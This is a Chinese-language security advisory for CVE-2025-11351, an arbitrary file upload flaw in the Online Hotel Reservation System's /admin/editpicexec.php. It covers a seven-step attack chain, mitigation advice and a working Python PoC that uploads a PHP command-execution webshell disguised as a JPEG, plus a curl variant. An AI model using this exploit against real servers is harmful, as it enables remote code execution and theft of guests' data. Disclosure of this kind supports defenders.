IPBUF安全漏洞报告
English
CVE-2025-11351 CVSS 6.3 中危

CVE-2025-11351:Online Hotel Reservation System任意文件上传漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11351
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Hotel Reservation System

相关标签

任意文件上传Unrestricted UploadCVE-2025-11351Online Hotel Reservation Systemcode-projectsPHPWeb应用漏洞远程代码执行中危漏洞已公开PoC

漏洞概述

CVE-2025-11351是code-projects公司开发的Online Hotel Reservation System(在线酒店预订系统)1.0版本中存在的一个安全漏洞。该漏洞于2025年10月7日被公开披露,CVSS 3.1评分为6.3分,属于中危级别漏洞。

该漏洞存在于系统的/admin/editpicexec.php文件中,具体涉及对image参数的处理逻辑存在缺陷。攻击者可以通过构造恶意的上传请求,利用该漏洞绕过文件类型验证机制,实现任意文件上传。由于该漏洞可以被远程利用,且攻击所需的权限要求较低(仅需低权限账号),同时无需用户交互,因此具有较高的实际威胁性。

根据漏洞描述,攻击者可以通过操纵image参数上传恶意文件到服务器,这可能导致Webshell植入、远程代码执行、服务器权限获取等严重后果。漏洞的利用代码已经在GitHub上公开发布(https://github.com/zhicat/C/issues/1),且被收录在VulDB漏洞数据库中(CTI ID: 327236),表明该漏洞已经被实际利用或在野利用的可能性较高。

该漏洞的影响范围包括机密性、完整性和可用性的低程度损害,但结合任意文件上传的特性,攻击者一旦成功上传Webshell,可能造成更严重的连锁危害。受影响的系统主要是在线酒店预订业务的中小型应用,这些系统通常存储用户的个人信息和支付数据,数据泄露风险不容忽视。

技术细节

该漏洞的核心问题在于/admin/editpicexec.php文件对上传文件的验证机制不完善。具体技术分析如下:

1. **漏洞位置**:/admin/editpicexec.php文件中的图片编辑/更新功能模块,负责处理管理员上传或修改图片的请求。

2. **漏洞原理**:系统在处理image参数时,未对上传文件的类型、扩展名和内容进行充分验证。攻击者可以通过修改HTTP请求中的文件名或Content-Type字段,将恶意脚本文件(如.php、.jsp、.asp等)伪装成图片文件上传到服务器。

3. **利用方式**:
- 攻击者首先需要获取管理员或具有图片编辑权限的账号(PR:L表示需要低权限)
- 构造multipart/form-data类型的POST请求,提交到/admin/editpicexec.php
- 在image字段中上传包含恶意PHP代码的文件,如shell.php
- 由于服务器未严格验证文件类型,恶意文件被成功保存到Web可访问目录
- 攻击者通过浏览器访问上传的恶意文件路径,即可执行服务器端代码

4. **攻击条件**:
- 需要网络访问(AV:N)
- 需要低权限账号(PR:L)
- 无需用户交互(UI:N)
- 攻击复杂度低(AC:L)

5. **危害后果**:成功利用后,攻击者可以在服务器上执行任意命令,读取/修改敏感数据,植入后门,进一步渗透内网系统。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别目标系统为code-projects Online Hotel Reservation System 1.0,并确认/admin/editpicexec.php端点存在。
STEP 2
步骤2:获取低权限凭证
攻击者通过暴力破解、凭证填充或社工等方式获取管理员或具有图片编辑功能的低权限账号。由于该系统常用于中小型酒店,密码强度可能较弱。
STEP 3
步骤3:登录系统
使用获取的凭证登录系统后台,获取有效的会话Cookie(PHPSESSID)。
STEP 4
步骤4:构造恶意上传请求
创建包含PHP Webshell代码的恶意文件(如shell.php),通过修改Content-Type为image/jpeg绕过简单的客户端验证。
STEP 5
步骤5:利用漏洞上传文件
向/admin/editpicexec.php发送multipart/form-data类型的POST请求,通过image参数上传恶意PHP文件。由于服务端未严格验证文件类型和扩展名,文件被成功上传到服务器。
STEP 6
步骤6:执行恶意代码
通过浏览器或命令行工具访问上传的Webshell路径,执行系统命令,获取服务器控制权限。
STEP 7
步骤7:权限提升与持久化
利用服务器权限进行横向移动、数据窃取、植入后门等进一步攻击活动,实现对目标系统的持久控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11351 - Online Hotel Reservation System Unrestricted Upload PoC # Vulnerability: Unrestricted File Upload in /admin/editpicexec.php # Parameter: image import requests TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/editpicexec.php" USERNAME = "admin" PASSWORD = "admin" # Step 1: Login as admin to get session cookie session = requests.Session() login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } resp = session.post(login_url, data=login_data) # Step 2: Prepare malicious PHP webshell # The image parameter does not validate file type properly webshell_content = b"""<?php echo "VULN_TESTED"; if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>""" # Step 3: Upload malicious file via the vulnerable endpoint # Bypass: change extension or use double extension files = { "image": ("shell.php", webshell_content, "image/jpeg") } upload_url = f"{TARGET_URL}{ADMIN_PATH}" resp = session.post(upload_url, files=files) print(f"Upload response status: {resp.status_code}") print("If upload successful, access the shell at:") print(f"{TARGET_URL}/admin/uploads/shell.php?cmd=id") # Alternative: Using curl command # curl -F "[email protected];type=image/jpeg" \ # -b "PHPSESSID=your_session_id" \ # http://target.com/admin/editpicexec.php

影响范围

code-projects Online Hotel Reservation System 1.0

防御指南

临时缓解措施
在官方发布补丁之前,建议采取以下临时缓解措施:1)通过Web服务器配置禁止/admin目录下的PHP脚本执行权限;2)在上传目录中添加.htaccess文件限制脚本执行(<FilesMatch "\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$"> Deny from all </FilesMatch>);3)部署WAF规则检测和拦截恶意文件上传行为;4)修改默认管理员密码,使用强密码策略;5)监控/admin/editpicexec.php的访问日志,及时发现可疑上传行为;6)限制管理后台的访问来源IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表